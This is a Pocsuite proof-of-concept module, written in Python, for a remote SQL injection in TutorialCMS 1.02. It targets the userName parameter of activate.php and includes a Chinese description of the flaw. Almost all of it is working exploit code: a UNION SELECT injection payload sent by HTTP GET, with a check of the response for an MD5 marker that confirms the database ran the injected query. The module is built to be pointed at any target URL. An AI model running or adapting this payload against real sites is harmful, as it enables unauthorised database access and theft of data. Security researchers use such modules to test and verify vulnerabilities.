TutorialCMS 1.02 (userName) Remote SQL Injection Vulnerability

                                                #!/usr/bin/env python
# coding: utf-8

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import re

class TestPOC(POCBase):
    vulID = 'SSV-7841'  # vul ID
    version = '1'
    author = ['hh']
    vulDate = '2008-01-12'
    createDate = '2015-10-22'
    updateDate = '2015-10-22'
    references = ['https://www.exploit-db.com/exploits/4901/']
    name = 'TutorialCMS 1.02 (userName) Remote SQL Injection Vulnerability'
    appPowerLink = 'http://www.wavelinkmedia.com/scripts/tutorialcms/'
    appName = 'TutorialCMS'
    appVersion = '1.02'
    vulType = 'SQL Injection'
    desc = '''
        TutorialCMS（又称Photoshop Tutorials）的脚本activate.PHP中存在SQL注入漏洞。
        在magic_quotes_gpc无效时，会允许远程攻击者经由username参数，执行任意SQL命令。
    '''
    # the sample sites for examine
    samples = ['']

    def _verify(self):
        result = {}
        payload = "/activate.php?userName='/**/union/**/select/**/1,2,3,4,CONCAT(0x7165696a71,CAST(md5(3.1415) AS CHAR),0x20),6,7,8,9,9,9,9,9/*"
        response = req.get(self.url + payload, headers=self.headers, timeout=10)
        content = response.content     
        match = re.search('qeijq63e1f04640e83605c1d177544a5a0488',content)
        #拼接一个特殊字符串，验证concat和md5函数是否成功执行
        if match:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url + payload
        return self.parse_attack(result)

    def _attack(self):
        return self._verify()

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet Nothing returned')
        return output

register(TestPOC)